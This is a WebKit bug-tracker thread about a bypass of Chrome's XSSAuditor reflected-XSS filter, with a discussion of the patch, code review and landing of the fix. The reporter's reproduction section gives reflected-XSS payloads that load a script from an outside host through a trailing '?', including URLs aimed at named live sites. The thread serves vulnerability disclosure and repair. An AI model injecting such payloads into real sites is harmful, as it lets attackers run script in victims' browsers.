Bug 70255 – XSSAuditor bypass with remote script ending in ? character

• Component: WebCore Misc.
• Status: RESOLVED FIXED

[Thomas Sepez]

Upstreamed from chromium issue 86752.

Reported by [e-mail], Jun 20, 2011
VULNERABILITY DETAILS
It is possible to bypass anti reflected-xss protection in Chrome under certain conditions.

 <snip>

VERSION
Chrome Version: 12.0.742.100 stable
Operating System: Debian, but also works on MacOs 10.6

REPRODUCTION CASE
Because an example worth 100 words:
Original vulnerable script
lclown.fr/dev_lab/xss_reflect.php?name=John

Reflected xss:
lclown.fr/dev_lab/xss_reflect.php?name=John<script src=//0x.lv?

"Real life" examples (sponsored by xssed.com :p)
http://talent.linkedin.com/register/download.php?ID=%22%3E%3Cscript%20src=//lclown.fr/a.js?

http://www.reuters.com/finance/markets/index?symbol=us!spx&sortBy=%22%3E%3Cscript%20src=//lclown.fr/a.js?

Expected behavior:
a.js from lclown.fr is not executed

[Thomas Sepez]

Much like a // can be used to prevent characters from the page from breaking JS, the ? character here is used to prevent characters from the page from "breaking" the URL pointing to //lclown.fr/a.js.

To do the same thing to src="" (and the like) parameters that we did for JS is more difficult, because the bad guy in theory controls everything past the domain, and could return the same static JS no matter what crap happens to follow the URL.

Much like eraseDangerousAttributeIfInjected(), we'll need eraseSrcAttributeIfInjected, which would need to understand enough about the structure of URLs to truncate at the end of the domain.

[Thomas Sepez]

Created attachment 111338 [details]
Patch plus test case.

[WebKit Review Bot]

Attachment 111338 [details] did not pass style-queue:

Failed to run "['Tools/Scripts/update-webkit', '--chromium']" exit_code: 2

Updating OpenSource
Current branch master is up to date.
Updating chromium port dependencies using gclient...
Error: Can't switch the checkout to http://v8.googlecode.com/svn/branches/3.6@9637; UUID don't match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Re-trying 'depot_tools/gclient sync'
Error: Can't switch the checkout to http://v8.googlecode.com/svn/branches/3.6@9637; UUID don't match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Re-trying 'depot_tools/gclient sync'
Error: Can't switch the checkout to http://v8.googlecode.com/svn/branches/3.6@9637; UUID don't match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Error: 'depot_tools/gclient sync' failed 3 tries and returned 256 at Tools/Scripts/update-webkit-chromium line 107.
Re-trying 'depot_tools/gclient sync'
No such file or directory at Tools/Scripts/update-webkit line 104.


If any of these errors are false positives, please file a bug against check-webkit-style.

[Darin Adler]

Comment on attachment 111338 [details]
Patch plus test case.

View in context: https://bugs.webkit.org/attachment.cgi?id=111338&action=review

> Source/WebCore/html/parser/XSSAuditor.h:67
> +    bool eraseAttributeIfInjected(HTMLToken&, const QualifiedName&, const String& replacementValue = String(), bool srcLikeAttribute = false);

Since all the callers are using a constant, you should use an enum for this instead of false and true. At the call site, the value “true” means nothing and is mysterious, but something like AttributeIsSrcLike or AttributeValueIsURL is much easier to understand.

[Thomas Sepez]

Created attachment 111345 [details]
Much easier to understand patch.

[Daniel Bates]

Comment on attachment 111345 [details]
Much easier to understand patch.

View in context: https://bugs.webkit.org/attachment.cgi?id=111345&action=review

Looks sane to me.

> Source/WebCore/ChangeLog:5
> +        Fix xssauditor bypass where unterminated src="" attribute could pick up
> +        text from page causing failed XSS detection.  Constrain match to domain
> +        portions of src attribute only.

The format of the change log entry is to put the bug title above the bug URL and put a description after the Reviewed by line. One such example of this format can been in the change log for <http://trac.webkit.org/changeset/97675>.

Nit: xssauditor => XSSAuditor

[Thomas Sepez]

Created attachment 111358 [details]
Much easier to understand patch with better changelog format.

[Daniel Bates]

Comment on attachment 111358 [details]
Much easier to understand patch with better changelog format.

Thanks Tom for the updated patch.

[WebKit Review Bot]

Comment on attachment 111358 [details]
Much easier to understand patch with better changelog format.

Clearing flags on attachment: 111358

Committed r97715: <http://trac.webkit.org/changeset/97715>

[WebKit Review Bot]

All reviewed patches have been landed.  Closing bug.